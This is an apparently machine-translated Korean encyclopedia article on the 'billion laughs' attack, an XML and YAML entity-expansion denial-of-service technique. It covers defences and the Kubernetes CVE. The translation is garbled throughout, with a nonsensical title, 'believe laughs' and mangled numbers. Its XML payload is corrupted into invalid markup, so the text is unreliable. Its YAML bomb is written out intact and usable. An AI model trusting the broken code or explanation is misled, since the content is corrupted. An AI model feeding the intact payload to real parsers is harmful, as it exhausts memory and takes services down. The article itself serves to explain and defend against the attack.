억만이는 비웃음 공격을 한다.

Billion laughs attack

컴퓨터 보안에서 10억의 웃음 공격은 XML 문서의 파서를 목표로 하는 서비스 거부(DoS) 공격의 일종이다.[1]

XML 폭탄 또는 지수적 엔티티 확장 공격이라고도 한다.[2]

세부 사항

예시 공격은 각각 이전 실체의 10개로 구성된 10개의 실체를 정의하는 것으로 구성되며, 문서는 첫 번째 실체의 10억 부까지 확장되는 가장 큰 실체의 단일 인스턴스로 구성된다.

가장 자주 인용되는 예에서 첫 번째 실체는 문자열 "lol"이며, 따라서 "believe laughs"라는 명칭이다.이 취약성이 처음 보고되었을 때, 10억 개의 문자열 "lol" 인스턴스에 의해 사용되는 컴퓨터 메모리는 XML을 구문 분석하는 프로세스에 사용할 수 있는 메모리를 초과할 가능성이 높다.

공격의 원래 형태는 XML 파서들을 특별히 겨냥했지만, 이 용어는 유사한 주제에도 적용될 수 있다.[1]

이 문제는 빠르면 2002년에 처음 보고되었다가 2008년부터 광범위하게 다루기 시작했다.[3][4]

이러한 종류의 공격에 대한 방어책에는 문서 손실이 허용될 경우 개별 파서(parser)에 할당된 메모리를 캡슐화하거나, 실체를 상징적으로 처리하고, 실체를 내용물이 사용될 때(그리고 범위까지)에만 나태하게 확장하는 것이 포함된다.

코드 예제

<?xml을 찍다 버전="1.0"?> <!DOCTYPE lolz [  <!ENTITY> ㅋㅋㅋ "lol">  <!Element> lolz (#PCDATA)>  <!ENTITY> lol1 "&#&#&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;">  <!ENTITY> lol2 "&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;">  <!ENTITY> lol3 "&#2;&#2;&#2;&#2;&#2;&#2;&#2;&#2;&#2;&#2;&#2;&#2;">  <!ENTITY> lol4 "&#3;&#3;&#3;&#3;&#3;&#3;&#3;&#3;&#3;&#3;&#3;&#3;&#3;">  <!ENTITY> lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  <!ENTITY> lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  <!ENTITY> lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  <!ENTITY> lol8 "&lol7;&lol7;&77;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  <!ENTITY> lol9 "&lol8;&lol8;&lol8;&lol8;&;8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lt;</영화제> 

XML 파서가 이 문서를 로드할 때, 이 문서에는 "&lol9;"라는 텍스트가 들어 있는 하나의 루트 요소인 "lolz"가 포함되어 있음을 알 수 있다.그러나 "&lol9;"는 10개의 "&lol8;" 문자열을 포함하는 문자열로 확장되는 정의된 실체다.각 "&lol8;" 문자열은 10개의 "&lol7;" 문자열 등으로 확장되는 정의된 실체다.모든 엔티티 확장이 처리된 후, 이 작은 (< 1KB) XML 블록은 실제로 거의9 3기가바이트의 메모리를 차지하는 10 = 10억 "lol"을 포함할 것이다.[5]

변형

위에서 설명한 수십억 웃음 공격은 기하급수적으로 많은 공간이나 시간이 소요될 수 있다.2차 블로업 변동은 중첩된 실체를 감지하는 대응책을 피하기 위해 단순히 큰 실체를 반복해서 반복함으로써 자원 요구사항의 2차 성장을 야기한다.[6](다른 성장 등급에 대한 비교는 계산 복잡성 이론 참조)

예를 들어 이 YAML 폭탄과 같이 매크로 확장을 포함할 수 있는 모든 파일 형식에 대해 "억의 웃음" 공격이 존재해야 한다.

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] 

이것은 고 YAML 프로세서(YAML 사양과 비교)가 참조를 매크로처럼 확장하기 때문에 이전 버전의 고(Go)를 충돌시켰다.결과 개체가 너무 커지면 구문 분석에 실패하도록 Go YAML 프로세서를 수정했다.

쿠베르네테스와 같은 기업용 소프트웨어는 YAML 파서를 통해 이 공격의 영향을 받았다.[7][8] 이러한 이유로, 신뢰할 수 없는 소스에서 도착하는 데이터의 경우 참조를 허용하지 않는 파일 형식이 선호되는 경우가 많다.[9][failed verification]

참고 항목

참조

  1. ^ a b Harold, Elliotte Rusty (27 May 2005). "Tip: Configure SAX parsers for secure processing". IBM developerWorks. Archived from the original on 4 March 2011. Retrieved 4 March 2011.
  2. ^ Sullivan, Bryan (November 2009). "XML Denial of Service Attacks and Defenses". MSDN Magazine. Microsoft Corporation. Retrieved 2011-05-31.
  3. ^ "SecurityFocus". 2002-12-16. Retrieved 2015-07-03.
  4. ^ "CVE-2003-1564". Common Vulnerabilities and Exposures. The MITRE Corporation. 2003-02-02. Retrieved 2011-06-01.
  5. ^ Bryan Sullivan. "XML Denial of Service Attacks and Defenses". Retrieved 2011-12-21.
  6. ^ "19.5. XML Processing Modules — Python 2.7.18 documentation".
  7. ^ "CVE-2019-11253: Kubernetes API Server JSON/YAML parsing vulnerable to resource exhaustion attack · Issue #83253 · kubernetes/Kubernetes". GitHub.
  8. ^ Wallen, Jack (9 October 2019). "Kubernetes 'Billion Laughs' Vulnerability Is No Laughing Matter". The New Stack.
  9. ^ "XML is toast, long live JSON". 9 June 2016.